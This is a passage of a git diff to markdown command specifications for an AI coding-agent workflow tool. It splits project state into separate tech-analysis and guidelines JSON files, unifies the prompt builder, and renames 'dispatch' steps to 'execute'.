+- Reads and parses task JSON (requirements, acceptance, flow_control)
+- Loads tech stack guidelines based on detected language
+- Executes pre_analysis steps and implementation_approach
+- Generates structured summary with integration points
+
+Embedding task content in prompt creates duplication and conflicts with agent's parsing logic.
+
 ### Agent Assignment Rules
 ```
 meta.agent specified → Use specified agent

.claude/commands/workflow/init.md

@@ -10,7 +10,11 @@ examples:
 # Workflow Init Command (/workflow:init)
 
 ## Overview
-Initialize `.workflow/project.json` with comprehensive project understanding by delegating analysis to **cli-explore-agent**.
+Initialize `.workflow/project-tech.json` and `.workflow/project-guidelines.json` with comprehensive project understanding by delegating analysis to **cli-explore-agent**.
+
+**Dual File System**:
+- `project-tech.json`: Auto-generated technical analysis (stack, architecture, components)
+- `project-guidelines.json`: User-maintained rules and constraints (created as scaffold)
 
 **Note**: This command may be called by other workflow commands. Upon completion, return immediately to continue the calling workflow without interrupting the task flow.
 
@@ -27,7 +31,7 @@ Input Parsing:
    └─ Parse --regenerate flag → regenerate = true | false
 
 Decision:
-   ├─ EXISTS + no --regenerate → Exit: "Already initialized"
+   ├─ BOTH_EXIST + no --regenerate → Exit: "Already initialized"
    ├─ EXISTS + --regenerate → Backup existing → Continue analysis
    └─ NOT_FOUND → Continue analysis
 
@@ -37,11 +41,14 @@ Analysis Flow:
    │   ├─ Structural scan (get_modules_by_depth.sh, find, wc)
    │   ├─ Semantic analysis (Gemini CLI)
    │   ├─ Synthesis and merge
-   │   └─ Write .workflow/project.json
+   │   └─ Write .workflow/project-tech.json
+   ├─ Create guidelines scaffold (if not exists)
+   │   └─ Write .workflow/project-guidelines.json (empty structure)
    └─ Display summary
 
 Output:
-   └─ .workflow/project.json (+ .backup if regenerate)
+   ├─ .workflow/project-tech.json (+ .backup if regenerate)
+   └─ .workflow/project-guidelines.json (scaffold if new)
 ```
 
 ## Implementation
@@ -56,13 +63,18 @@ const regenerate = $ARGUMENTS.includes('--regenerate')
 **Check existing state**:
 
 ```bash
-bash(test -f .workflow/project.json && echo "EXISTS" || echo "NOT_FOUND")
+bash(test -f .workflow/project-tech.json && echo "TECH_EXISTS" || echo "TECH_NOT_FOUND")
+bash(test -f .workflow/project-guidelines.json && echo "GUIDELINES_EXISTS" || echo "GUIDELINES_NOT_FOUND")
 ```
 
-**If EXISTS and no --regenerate**: Exit early
+**If BOTH_EXIST and no --regenerate**: Exit early
 ```
-Project already initialized at .workflow/project.json
-Use /workflow:init --regenerate to rebuild
+Project already initialized:
+- Tech analysis: .workflow/project-tech.json
+- Guidelines: .workflow/project-guidelines.json
+
+Use /workflow:init --regenerate to rebuild tech analysis
+Use /workflow:session:solidify to add guidelines
 Use /workflow:status --project to view state
 ```
 
@@ -78,7 +90,7 @@ bash(mkdir -p .workflow)
 
 **For --regenerate**: Backup and preserve existing data
 ```bash
-bash(cp .workflow/project.json .workflow/project.json.backup)
+bash(cp .workflow/project-tech.json .workflow/project-tech.json.backup)
 ```
 
 **Delegate analysis to agent**:
@@ -89,20 +101,17 @@ Task(
   run_in_background=false,
   description="Deep project analysis",
   prompt=`
-Analyze project for workflow initialization and generate .workflow/project.json.
+Analyze project for workflow initialization and generate .workflow/project-tech.json.
 
 ## MANDATORY FIRST STEPS
-1. Execute: cat ~/.claude/workflows/cli-templates/schemas/project-json-schema.json (get schema reference)
+1. Execute: cat ~/.claude/workflows/cli-templates/schemas/project-tech-schema.json (get schema reference)
 2. Execute: ccw tool exec get_modules_by_depth '{}' (get project structure)
 
 ## Task
-Generate complete project.json with:
-- project_name: ${projectName}
-- initialized_at: current ISO timestamp
-- overview: {description, technology_stack, architecture, key_components}
-- features: ${regenerate ? 'preserve from backup' : '[] (empty)'}
-- development_index: ${regenerate ? 'preserve from backup' : '{feature: [], enhancement: [], bugfix: [], refactor: [], docs: []}'}
-- statistics: ${regenerate ? 'preserve from backup' : '{total_features: 0, total_sessions: 0, last_updated}'}
+Generate complete project-tech.json with:
+- project_metadata: {name: ${projectName}, root_path: ${projectRoot}, initialized_at, updated_at}
+- technology_analysis: {description, languages, frameworks, build_tools, test_frameworks, architecture, key_components, dependencies}
+- development_status: ${regenerate ? 'preserve from backup' : '{completed_features: [], development_index: {feature: [], enhancement: [], bugfix: [], refactor: [], docs: []}, statistics: {total_features: 0, total_sessions: 0, last_updated}}'}
 - _metadata: {initialized_by: "cli-explore-agent", analysis_timestamp, analysis_mode}
 
 ## Analysis Requirements
@@ -123,8 +132,8 @@ Generate complete project.json with:
 1. Structural scan: get_modules_by_depth.sh, find, wc -l
 2. Semantic analysis: Gemini for patterns/architecture
 3. Synthesis: Merge findings
-4. ${regenerate ? 'Merge with preserved features/development_index/statistics from .workflow/project.json.backup' : ''}
-5. Write JSON: Write('.workflow/project.json', jsonContent)
+4. ${regenerate ? 'Merge with preserved development_status from .workflow/project-tech.json.backup' : ''}
+5. Write JSON: Write('.workflow/project-tech.json', jsonContent)
 6. Report: Return brief completion summary
 
 Project root: ${projectRoot}
@@ -132,29 +141,66 @@ Project root: ${projectRoot}
 )
 ```
 
+### Step 3.5: Create Guidelines Scaffold (if not exists)
+
+```javascript
+// Only create if not exists (never overwrite user guidelines)
+if (!file_exists('.workflow/project-guidelines.json')) {
+  const guidelinesScaffold = {
+    conventions: {
+      coding_style: [],
+      naming_patterns: [],
+      file_structure: [],
+      documentation: []
+    },
+    constraints: {
+      architecture: [],
+      tech_stack: [],
+      performance: [],
+      security: []
+    },
+    quality_rules: [],
+    learnings: [],
+    _metadata: {
+      created_at: new Date().toISOString(),
+      version: "1.0.0"
+    }
+  };
+
+  Write('.workflow/project-guidelines.json', JSON.stringify(guidelinesScaffold, null, 2));
+}
+```
+
 ### Step 4: Display Summary
 
 ```javascript
-const projectJson = JSON.parse(Read('.workflow/project.json'));
+const projectTech = JSON.parse(Read('.workflow/project-tech.json'));
+const guidelinesExists = file_exists('.workflow/project-guidelines.json');
 
 console.log(`
 ✓ Project initialized successfully
 
 ## Project Overview
-Name: ${projectJson.project_name}
-Description: ${projectJson.overview.description}
+Name: ${projectTech.project_metadata.name}
+Description: ${projectTech.technology_analysis.description}
 
 ### Technology Stack
-Languages: ${projectJson.overview.technology_stack.languages.map(l => l.name).join(', ')}
-Frameworks: ${projectJson.overview.technology_stack.frameworks.join(', ')}
+Languages: ${projectTech.technology_analysis.languages.map(l => l.name).join(', ')}
+Frameworks: ${projectTech.technology_analysis.frameworks.join(', ')}
 
 ### Architecture
-Style: ${projectJson.overview.architecture.style}
-Components: ${projectJson.overview.key_components.length} core modules
+Style: ${projectTech.technology_analysis.architecture.style}
+Components: ${projectTech.technology_analysis.key_components.length} core modules
 
 ---
-Project state: .workflow/project.json
-${regenerate ? 'Backup: .workflow/project.json.backup' : ''}
+Files created:
+- Tech analysis: .workflow/project-tech.json
+- Guidelines: .workflow/project-guidelines.json ${guidelinesExists ? '(scaffold)' : ''}
+${regenerate ? '- Backup: .workflow/project-tech.json.backup' : ''}
+
+Next steps:
+- Use /workflow:session:solidify to add project guidelines
+- Use /workflow:plan to start planning
 `);
 ```
 

.claude/commands/workflow/lite-execute.md

@@ -307,6 +307,60 @@ for (const call of sequential) {
 }
 ```
 
+### Unified Task Prompt Builder
+
+**Task Formatting Principle**: Each task is a self-contained checklist. The executor only needs to know what THIS task requires. Same template for Agent and CLI.
+
+```javascript
+function buildExecutionPrompt(batch) {
+  // Task template (4 parts: Modification Points → How → Reference → Done)
+  const formatTask = (t) => `
+## ${t.title}
+
+**Scope**: \`${t.scope}\`  |  **Action**: ${t.action}
+
+### Modification Points
+${t.modification_points.map(p => `- **${p.file}** → \`${p.target}\`: ${p.change}`).join('\n')}
+
+### How to do it
+${t.description}
+
+${t.implementation.map(step => `- ${step}`).join('\n')}
+
+### Reference
+- Pattern: ${t.reference?.pattern || 'N/A'}
+- Files: ${t.reference?.files?.join(', ') || 'N/A'}
+${t.reference?.examples ? `- Notes: ${t.reference.examples}` : ''}
+
+### Done when
+${t.acceptance.map(c => `- [ ] ${c}`).join('\n')}`
+
+  // Build prompt
+  const sections = []
+
+  if (originalUserInput) sections.push(`## Goal\n${originalUserInput}`)
+
+  sections.push(`## Tasks\n${batch.tasks.map(formatTask).join('\n\n---\n')}`)
+
+  // Context (reference only)
+  const context = []
+  if (previousExecutionResults.length > 0) {
+    context.push(`### Previous Work\n${previousExecutionResults.map(r => `- ${r.tasksSummary}: ${r.status}`).join('\n')}`)
+  }
+  if (clarificationContext) {
+    context.push(`### Clarifications\n${Object.entries(clarificationContext).map(([q, a]) => `- ${q}: ${a}`).join('\n')}`)
+  }
+  if (executionContext?.session?.artifacts?.plan) {
+    context.push(`### Artifacts\nPlan: ${executionContext.session.artifacts.plan}`)
+  }
+  if (context.length > 0) sections.push(`## Context\n${context.join('\n\n')}`)
+
+  sections.push(`Complete each task according to its "Done when" checklist.`)
+
+  return sections.join('\n\n')
+}
+```
+
 **Option A: Agent Execution**
 
 When to use:
@@ -314,113 +368,13 @@ When to use:
 - 或 `executionMethod = "Agent"` (全局 fallback)
 - 或 `executionMethod = "Auto" AND complexity = "Low"` (全局 fallback)
 
-**Task Formatting Principle**: Each task is a self-contained checklist. The agent only needs to know what THIS task requires, not its position or relation to other tasks.
-
-Agent call format:
 ```javascript
-// Format single task as self-contained checklist
-function formatTaskChecklist(task) {
-  return `
-## ${task.title}
-
-**Target**: \`${task.file}\`
-**Action**: ${task.action}
-
-### What to do
-${task.description}
-
-### How to do it
-${task.implementation.map(step => `- ${step}`).join('\n')}
-
-### Reference
-- Pattern: ${task.reference.pattern}
-- Examples: ${task.reference.files.join(', ')}
-- Notes: ${task.reference.examples}
-
-### Done when
-${task.acceptance.map(c => `- [ ] ${c}`).join('\n')}
-`
-}
-
-// For batch execution: aggregate tasks without numbering
-function formatBatchPrompt(batch) {
-  const tasksSection = batch.tasks.map(t => formatTaskChecklist(t)).join('\n---\n')
-
-  return `
-${originalUserInput ? `## Goal\n${originalUserInput}\n` : ''}
-
-## Tasks
-
-${tasksSection}
-
-${batch.context ? `## Context\n${batch.context}` : ''}
-
-Complete each task according to its "Done when" checklist.
-`
-}
-
 Task(
   subagent_type="code-developer",
   run_in_background=false,
   description=batch.taskSummary,
-  prompt=formatBatchPrompt({
-    tasks: batch.tasks,
-    context: buildRelevantContext(batch.tasks)
-  })
+  prompt=buildExecutionPrompt(batch)
 )
-
-// Helper: Build relevant context for batch
-// Context serves as REFERENCE ONLY - helps agent understand existing state
-function buildRelevantContext(tasks) {
-  const sections = []
-
-  // 1. Previous work completion - what's already done (reference for continuity)
-  if (previousExecutionResults.length > 0) {
-    sections.push(`### Previous Work (Reference)
-Use this to understand what's already completed. Avoid duplicating work.
-
-${previousExecutionResults.map(r => `**${r.tasksSummary}**
-- Status: ${r.status}
-- Outputs: ${r.keyOutputs || 'See git diff'}
-${r.notes ? `- Notes: ${r.notes}` : ''}`
-    ).join('\n\n')}`)
-  }
-
-  // 2. Related files - files that may need to be read/referenced
-  const relatedFiles = extractRelatedFiles(tasks)
-  if (relatedFiles.length > 0) {
-    sections.push(`### Related Files (Reference)
-These files may contain patterns, types, or utilities relevant to your tasks:
-
-${relatedFiles.map(f => `- \`${f}\``).join('\n')}`)
-  }
-
-  // 3. Clarifications from user
-  if (clarificationContext) {
-    sections.push(`### User Clarifications
-${Object.entries(clarificationContext).map(([q, a]) => `- **${q}**: ${a}`).join('\n')}`)
-  }
-
-  // 4. Artifact files (for deeper context if needed)
-  if (executionContext?.session?.artifacts?.plan) {
-    sections.push(`### Artifacts
-For detailed planning context, read: ${executionContext.session.artifacts.plan}`)
-  }
-
-  return sections.join('\n\n')
-}
-
-// Extract related files from task references
-function extractRelatedFiles(tasks) {
-  const files = new Set()
-  tasks.forEach(task => {
-    // Add reference example files
-    if (task.reference?.files) {
-      task.reference.files.forEach(f => files.add(f))
-    }
-  })
-  return [...files]
-}
 ```
 
 **Result Collection**: After completion, collect result following `executionResult` structure (see Data Structures section)
@@ -432,78 +386,8 @@ When to use:
 - 或 `executionMethod = "Codex"` (全局 fallback)
 - 或 `executionMethod = "Auto" AND complexity = "Medium/High"` (全局 fallback)
 
-**Task Formatting Principle**: Same as Agent - each task is a self-contained checklist. No task numbering or position awareness.
-
-Command format:
 ```bash
-// Format single task as compact checklist for CLI
-function formatTaskForCLI(task) {
-  return `
-## ${task.title}
-File: ${task.file}
-Action: ${task.action}
-
-What: ${task.description}
-
-How:
-${task.implementation.map(step => `- ${step}`).join('\n')}
-
-Reference: ${task.reference.pattern} (see ${task.reference.files.join(', ')})
-Notes: ${task.reference.examples}
-
-Done when:
-${task.acceptance.map(c => `- [ ] ${c}`).join('\n')}
-`
-}
-
-// Build CLI prompt for batch
-// Context provides REFERENCE information - not requirements to fulfill
-function buildCLIPrompt(batch) {
-  const tasksSection = batch.tasks.map(t => formatTaskForCLI(t)).join('\n---\n')
-
-  let prompt = `${originalUserInput ? `## Goal\n${originalUserInput}\n\n` : ''}`
-  prompt += `## Tasks\n\n${tasksSection}\n`
-
-  // Context section - reference information only
-  const contextSections = []
-
-  // 1. Previous work - what's already completed
-  if (previousExecutionResults.length > 0) {
-    contextSections.push(`### Previous Work (Reference)
-Already completed - avoid duplicating:
-${previousExecutionResults.map(r => `- ${r.tasksSummary}: ${r.status}${r.keyOutputs ? ` (${r.keyOutputs})` : ''}`).join('\n')}`)
-  }
-
-  // 2. Related files from task references
-  const relatedFiles = [...new Set(batch.tasks.flatMap(t => t.reference?.files || []))]
-  if (relatedFiles.length > 0) {
-    contextSections.push(`### Related Files (Reference)
-Patterns and examples to follow:
-${relatedFiles.map(f => `- ${f}`).join('\n')}`)
-  }
-
-  // 3. User clarifications
-  if (clarificationContext) {
-    contextSections.push(`### Clarifications
-${Object.entries(clarificationContext).map(([q, a]) => `- ${q}: ${a}`).join('\n')}`)
-  }
-
-  // 4. Plan artifact for deeper context
-  if (executionContext?.session?.artifacts?.plan) {
-    contextSections.push(`### Artifacts
-Detailed plan: ${executionContext.session.artifacts.plan}`)
-  }
-
-  if (contextSections.length > 0) {
-    prompt += `\n## Context\n${contextSections.join('\n\n')}\n`
-  }
-
-  prompt += `\nComplete each task according to its "Done when" checklist.`
-
-  return prompt
-}
-
-ccw cli -p "${buildCLIPrompt(batch)}" --tool codex --mode write
+ccw cli -p "${buildExecutionPrompt(batch)}" --tool codex --mode write
 ```
 
 **Execution with fixed IDs** (predictable ID pattern):
@@ -526,8 +410,8 @@ const previousCliId = batch.resumeFromCliId || null
 
 // Build command with fixed ID (and optional resume for continuation)
 const cli_command = previousCliId
-  ? `ccw cli -p "${buildCLIPrompt(batch)}" --tool codex --mode write --id ${fixedExecutionId} --resume ${previousCliId}`
-  : `ccw cli -p "${buildCLIPrompt(batch)}" --tool codex --mode write --id ${fixedExecutionId}`
+  ? `ccw cli -p "${buildExecutionPrompt(batch)}" --tool codex --mode write --id ${fixedExecutionId} --resume ${previousCliId}`
+  : `ccw cli -p "${buildExecutionPrompt(batch)}" --tool codex --mode write --id ${fixedExecutionId}`
 
 bash_result = Bash(
   command=cli_command,
@@ -564,8 +448,8 @@ if (bash_result.status === 'failed' || bash_result.status === 'timeout') {
 When to use: `getTaskExecutor(task) === "gemini"` (分析类任务)
 
 ```bash
-# 使用与 Option B 相同的 formatBatchPrompt，切换 tool 和 mode
-ccw cli -p "${formatBatchPrompt(batch)}" --tool gemini --mode analysis --id ${sessionId}-${batch.groupId}
+# 使用统一的 buildExecutionPrompt，切换 tool 和 mode
+ccw cli -p "${buildExecutionPrompt(batch)}" --tool gemini --mode analysis --id ${sessionId}-${batch.groupId}
 ```
 
 ### Step 4: Progress Tracking

.claude/commands/workflow/lite-fix.md

@@ -17,7 +17,7 @@ Intelligent lightweight bug fixing command with dynamic workflow adaptation base
 - Interactive clarification after diagnosis to gather missing information
 - Adaptive fix planning strategy (direct Claude vs cli-lite-planning-agent) based on complexity
 - Two-step confirmation: fix-plan display -> multi-dimensional input collection
-- Execution dispatch with complete context handoff to lite-execute
+- Execution execute with complete context handoff to lite-execute
 
 ## Usage
 
@@ -62,7 +62,7 @@ Phase 4: Confirmation & Selection
       |- Execution: Agent / Codex / Auto
       +- Review: Gemini / Agent / Skip
 
-Phase 5: Dispatch
+Phase 5: Execute
    |- Build executionContext (fix-plan + diagnoses + clarifications + selections)
    +- SlashCommand("/workflow:lite-execute --in-memory --mode bugfix")
 ```
@@ -181,6 +181,8 @@ Execute **${angle}** diagnosis for bug root cause analysis. Analyze codebase fro
 1. Run: ccw tool exec get_modules_by_depth '{}' (project structure)
 2. Run: rg -l "{error_keyword_from_bug}" --type ts (locate relevant files)
 3. Execute: cat ~/.claude/workflows/cli-templates/schemas/diagnosis-json-schema.json (get output schema reference)
+4. Read: .workflow/project-tech.json (technology stack and architecture context)
+5. Read: .workflow/project-guidelines.json (user-defined constraints and conventions)
 
 ## Diagnosis Strategy (${angle} focus)
 
@@ -409,6 +411,12 @@ Generate fix plan and write fix-plan.json.
 ## Output Schema Reference
 Execute: cat ~/.claude/workflows/cli-templates/schemas/fix-plan-json-schema.json (get schema reference before generating plan)
 
+## Project Context (MANDATORY - Read Both Files)
+1. Read: .workflow/project-tech.json (technology stack, architecture, key components)
+2. Read: .workflow/project-guidelines.json (user-defined constraints and conventions)
+
+**CRITICAL**: All fix tasks MUST comply with constraints in project-guidelines.json
+
 ## Bug Description
 ${bug_description}
 
@@ -535,7 +543,7 @@ AskUserQuestion({
 
 ---
 
-### Phase 5: Dispatch to Execution
+### Phase 5: Execute to Execution
 
 **CRITICAL**: lite-fix NEVER executes code directly. ALL execution MUST go through lite-execute.
 
@@ -580,7 +588,7 @@ executionContext = {
 }
 ```
 
-**Step 5.2: Dispatch**
+**Step 5.2: Execute**
 
 ```javascript
 SlashCommand(command="/workflow:lite-execute --in-memory --mode bugfix")

.claude/commands/workflow/lite-plan.md

@@ -1,6 +1,6 @@
 ---
 name: lite-plan
-description: Lightweight interactive planning workflow with in-memory planning, code exploration, and execution dispatch to lite-execute after user confirmation
+description: Lightweight interactive planning workflow with in-memory planning, code exploration, and execution execute to lite-execute after user confirmation
 argument-hint: "[-e|--explore] \"task description\"|file.md"
 allowed-tools: TodoWrite(*), Task(*), SlashCommand(*), AskUserQuestion(*)
 ---
@@ -17,7 +17,7 @@ Intelligent lightweight planning command with dynamic workflow adaptation based
 - Interactive clarification after exploration to gather missing information
 - Adaptive planning: Low complexity → Direct Claude; Medium/High → cli-lite-planning-agent
 - Two-step confirmation: plan display → multi-dimensional input collection
-- Execution dispatch with complete context handoff to lite-execute
+- Execution execute with complete context handoff to lite-execute
 
 ## Usage
 
@@ -62,7 +62,7 @@ Phase 4: Confirmation & Selection
       ├─ Execution: Agent / Codex / Auto
       └─ Review: Gemini / Agent / Skip
 
-Phase 5: Dispatch
+Phase 5: Execute
    ├─ Build executionContext (plan + explorations + clarifications + selections)
    └─ SlashCommand("/workflow:lite-execute --in-memory")
 ```
@@ -184,6 +184,8 @@ Execute **${angle}** exploration for task planning context. Analyze codebase fro
 1. Run: ccw tool exec get_modules_by_depth '{}' (project structure)
 2. Run: rg -l "{keyword_from_task}" --type ts (locate relevant files)
 3. Execute: cat ~/.claude/workflows/cli-templates/schemas/explore-json-schema.json (get output schema reference)
+4. Read: .workflow/project-tech.json (technology stack and architecture context)
+5. Read: .workflow/project-guidelines.json (user-defined constraints and conventions)
 
 ## Exploration Strategy (${angle} focus)
 
@@ -416,6 +418,12 @@ Generate implementation plan and write plan.json.
 ## Output Schema Reference
 Execute: cat ~/.claude/workflows/cli-templates/schemas/plan-json-schema.json (get schema reference before generating plan)
 
+## Project Context (MANDATORY - Read Both Files)
+1. Read: .workflow/project-tech.json (technology stack, architecture, key components)
+2. Read: .workflow/project-guidelines.json (user-defined constraints and conventions)
+
+**CRITICAL**: All generated tasks MUST comply with constraints in project-guidelines.json
+
 ## Task Description
 ${task_description}
 
@@ -527,7 +535,7 @@ AskUserQuestion({
 
 ---
 
-### Phase 5: Dispatch to Execution
+### Phase 5: Execute to Execution
 
 **CRITICAL**: lite-plan NEVER executes code directly. ALL execution MUST go through lite-execute.
 
@@ -574,7 +582,7 @@ executionContext = {
 }
 ```
 
-**Step 5.2: Dispatch**
+**Step 5.2: Execute**
 
 ```javascript
 SlashCommand(command="/workflow:lite-execute --in-memory")

.claude/commands/workflow/plan.md

@@ -9,7 +9,7 @@ allowed-tools: SlashCommand(*), TodoWrite(*), Read(*), Bash(*)
 
 ## Coordinator Role
 
-**This command is a pure orchestrator**: Dispatch 5 slash commands in sequence (including a quality gate), parse their outputs, pass context between them, and ensure complete execution through **automatic continuation**.
+**This command is a pure orchestrator**: Execute 5 slash commands in sequence (including a quality gate), parse their outputs, pass context between them, and ensure complete execution through **automatic continuation**.
 
 **Execution Model - Auto-Continue Workflow with Quality Gate**:
 
@@ -17,14 +17,14 @@ This workflow runs **fully autonomously** once triggered. Phase 3 (conflict reso
 
 
 1. **User triggers**: `/workflow:plan "task"`
-2. **Phase 1 dispatches** → Session discovery → Auto-continues
-3. **Phase 2 dispatches** → Context gathering → Auto-continues
-4. **Phase 3 dispatches** (optional, if conflict_risk ≥ medium) → Conflict resolution → Auto-continues
-5. **Phase 4 dispatches** → Task generation (task-generate-agent) → Reports final summary
+2. **Phase 1 executes** → Session discovery → Auto-continues
+3. **Phase 2 executes** → Context gathering → Auto-continues
+4. **Phase 3 executes** (optional, if conflict_risk ≥ medium) → Conflict resolution → Auto-continues
+5. **Phase 4 executes** → Task generation (task-generate-agent) → Reports final summary
 
 **Task Attachment Model**:
-- SlashCommand dispatch **expands workflow** by attaching sub-tasks to current TodoWrite
-- When a sub-command is dispatched (e.g., `/workflow:tools:context-gather`), its internal tasks are attached to the orchestrator's TodoWrite
+- SlashCommand execute **expands workflow** by attaching sub-tasks to current TodoWrite
+- When a sub-command is executed (e.g., `/workflow:tools:context-gather`), its internal tasks are attached to the orchestrator's TodoWrite
 - Orchestrator **executes these attached tasks** sequentially
 - After completion, attached tasks are **collapsed** back to high-level phase summary
 - This is **task expansion**, not external delegation
@@ -43,7 +43,7 @@ This workflow runs **fully autonomously** once triggered. Phase 3 (conflict reso
 3. **Parse Every Output**: Extract required data from each command/agent output for next phase
 4. **Auto-Continue via TodoList**: Check TodoList status to execute next pending phase automatically
 5. **Track Progress**: Update TodoWrite dynamically with task attachment/collapse pattern
-6. **Task Attachment Model**: SlashCommand dispatch **attaches** sub-tasks to current workflow. Orchestrator **executes** these attached tasks itself, then **collapses** them after completion
+6. **Task Attachment Model**: SlashCommand execute **attaches** sub-tasks to current workflow. Orchestrator **executes** these attached tasks itself, then **collapses** them after completion
 7. **⚠️ CRITICAL: DO NOT STOP**: Continuous multi-phase workflow. After executing all attached tasks, immediately collapse them and execute next phase
 
 ## Execution Process
@@ -80,7 +80,7 @@ Return:
 
 ### Phase 1: Session Discovery
 
-**Step 1.1: Dispatch** - Create or discover workflow session
+**Step 1.1: Execute** - Create or discover workflow session
 
 ```javascript
 SlashCommand(command="/workflow:session:start --auto \"[structured-task-description]\"")
@@ -117,7 +117,7 @@ CONTEXT: Existing user database schema, REST API endpoints
 
 ### Phase 2: Context Gathering
 
-**Step 2.1: Dispatch** - Gather project context and analyze codebase
+**Step 2.1: Execute** - Gather project context and analyze codebase
 
 ```javascript
 SlashCommand(command="/workflow:tools:context-gather --session [sessionId] \"[structured-task-description]\"")
@@ -135,9 +135,9 @@ SlashCommand(command="/workflow:tools:context-gather --session [sessionId] \"[st
 - Context package path extracted
 - File exists and is valid JSON
 
-<!-- TodoWrite: When context-gather dispatched, INSERT 3 context-gather tasks, mark first as in_progress -->
+<!-- TodoWrite: When context-gather executed, INSERT 3 context-gather tasks, mark first as in_progress -->
 
-**TodoWrite Update (Phase 2 SlashCommand dispatched - tasks attached)**:
+**TodoWrite Update (Phase 2 SlashCommand executed - tasks attached)**:
 ```json
 [
   {"content": "Phase 1: Session Discovery", "status": "completed", "activeForm": "Executing session discovery"},
@@ -149,7 +149,7 @@ SlashCommand(command="/workflow:tools:context-gather --session [sessionId] \"[st
 ]
 ```
 
-**Note**: SlashCommand dispatch **attaches** context-gather's 3 tasks. Orchestrator **executes** these tasks sequentially.
+**Note**: SlashCommand execute **attaches** context-gather's 3 tasks. Orchestrator **executes** these tasks sequentially.
 
 <!-- TodoWrite: After Phase 2 tasks complete, REMOVE Phase 2.1-2.3, restore to orchestrator view -->
 
@@ -172,7 +172,7 @@ SlashCommand(command="/workflow:tools:context-gather --session [sessionId] \"[st
 
 **Trigger**: Only execute when context-package.json indicates conflict_risk is "medium" or "high"
 
-**Step 3.1: Dispatch** - Detect and resolve conflicts with CLI analysis
+**Step 3.1: Execute** - Detect and resolve conflicts with CLI analysis
 
 ```javascript
 SlashCommand(command="/workflow:tools:conflict-resolution --session [sessionId] --context [contextPath]")
@@ -196,7 +196,7 @@ SlashCommand(command="/workflow:tools:conflict-resolution --session [sessionId]
 
 <!-- TodoWrite: If conflict_risk ≥ medium, INSERT 3 conflict-resolution tasks -->
 
-**TodoWrite Update (Phase 3 SlashCommand dispatched - tasks attached, if conflict_risk ≥ medium)**:
+**TodoWrite Update (Phase 3 SlashCommand executed - tasks attached, if conflict_risk ≥ medium)**:
 ```json
 [
   {"content": "Phase 1: Session Discovery", "status": "completed", "activeForm": "Executing session discovery"},
@@ -209,7 +209,7 @@ SlashCommand(command="/workflow:tools:conflict-resolution --session [sessionId]
 ]
 ```
 
-**Note**: SlashCommand dispatch **attaches** conflict-resolution's 3 tasks. Orchestrator **executes** these tasks sequentially.
+**Note**: SlashCommand execute **attaches** conflict-resolution's 3 tasks. Orchestrator **executes** these tasks sequentially.
 
 <!-- TodoWrite: After Phase 3 tasks complete, REMOVE Phase 3.1-3.3, restore to orchestrator view -->
 
@@ -231,7 +231,7 @@ SlashCommand(command="/workflow:tools:conflict-resolution --session [sessionId]
 - Evaluate current context window usage and memory state
 - If memory usage is high (>120K tokens or approaching context limits):
 
-  **Step 3.2: Dispatch** - Optimize memory before proceeding
+  **Step 3.2: Execute** - Optimize memory before proceeding
 
   ```javascript
   SlashCommand(command="/compact")
@@ -270,7 +270,7 @@ SlashCommand(command="/workflow:tools:conflict-resolution --session [sessionId]
 - Task generation translates high-level role analyses into concrete, actionable work items
 - **Intent priority**: Current user prompt > role analysis.md files > guidance-specification.md
 
-**Step 4.1: Dispatch** - Generate implementation plan and task JSONs
+**Step 4.1: Execute** - Generate implementation plan and task JSONs
 
 ```javascript
 SlashCommand(command="/workflow:tools:task-generate-agent --session [sessionId]")
@@ -285,9 +285,9 @@ SlashCommand(command="/workflow:tools:task-generate-agent --session [sessionId]"
 - `.workflow/active/[sessionId]/.task/IMPL-*.json` exists (at least one)
 - `.workflow/active/[sessionId]/TODO_LIST.md` exists
 
-<!-- TodoWrite: When task-generate-agent dispatched, ATTACH 1 agent task -->
+<!-- TodoWrite: When task-generate-agent executed, ATTACH 1 agent task -->
 
-**TodoWrite Update (Phase 4 SlashCommand dispatched - agent task attached)**:
+**TodoWrite Update (Phase 4 SlashCommand executed - agent task attached)**:
 ```json
 [
   {"content": "Phase 1: Session Discovery", "status": "completed", "activeForm": "Executing session discovery"},
@@ -331,7 +331,7 @@ Quality Gate: Consider running /workflow:action-plan-verify to catch issues earl
 
 ### Key Principles
 
-1. **Task Attachment** (when SlashCommand dispatched):
+1. **Task Attachment** (when SlashCommand executed):
    - Sub-command's internal tasks are **attached** to orchestrator's TodoWrite
    - **Phase 2, 3**: Multiple sub-tasks attached (e.g., Phase 2.1, 2.2, 2.3)
    - **Phase 4**: Single agent task attached (e.g., "Execute task-generate-agent")
@@ -350,7 +350,7 @@ Quality Gate: Consider running /workflow:action-plan-verify to catch issues earl
    - No user intervention required between phases
    - TodoWrite dynamically reflects current execution state
 
-**Lifecycle Summary**: Initial pending tasks → Phase dispatched (tasks ATTACHED) → Sub-tasks executed sequentially → Phase completed (tasks COLLAPSED to summary for Phase 2/3, or marked completed for Phase 4) → Next phase begins → Repeat until all phases complete.
+**Lifecycle Summary**: Initial pending tasks → Phase executed (tasks ATTACHED) → Sub-tasks executed sequentially → Phase completed (tasks COLLAPSED to summary for Phase 2/3, or marked completed for Phase 4) → Next phase begins → Repeat until all phases complete.
 
 
 
@@ -442,7 +442,7 @@ User triggers: /workflow:plan "Build authentication system"
 Phase 1: Session Discovery
   → sessionId extracted
   ↓
-Phase 2: Context Gathering (SlashCommand dispatched)
+Phase 2: Context Gathering (SlashCommand executed)
   → ATTACH 3 sub-tasks: ← ATTACHED
     - → Analyze codebase structure
     - → Identify integration points
@@ -453,7 +453,7 @@ Phase 2: Context Gathering (SlashCommand dispatched)
   ↓
 Conditional Branch: Check conflict_risk
   ├─ IF conflict_risk ≥ medium:
-  │   Phase 3: Conflict Resolution (SlashCommand dispatched)
+  │   Phase 3: Conflict Resolution (SlashCommand executed)
   │     → ATTACH 3 sub-tasks: ← ATTACHED
   │       - → Detect conflicts with CLI analysis
   │       - → Present conflicts to user
@@ -463,7 +463,7 @@ Conditional Branch: Check conflict_risk
   │
   └─ ELSE: Skip Phase 3, proceed to Phase 4
   ↓
-Phase 4: Task Generation (SlashCommand dispatched)
+Phase 4: Task Generation (SlashCommand executed)
   → Single agent task (no sub-tasks)
   → Agent autonomously completes internally:
     (discovery → planning → output)
@@ -473,12 +473,12 @@ Return summary to user
 ```
 
 **Key Points**:
-- **← ATTACHED**: Tasks attached to TodoWrite when SlashCommand dispatched
+- **← ATTACHED**: Tasks attached to TodoWrite when SlashCommand executed
   - Phase 2, 3: Multiple sub-tasks
   - Phase 4: Single agent task
 - **← COLLAPSED**: Sub-tasks collapsed to summary after completion (Phase 2, 3 only)
 - **Phase 4**: Single agent task, no collapse (just mark completed)
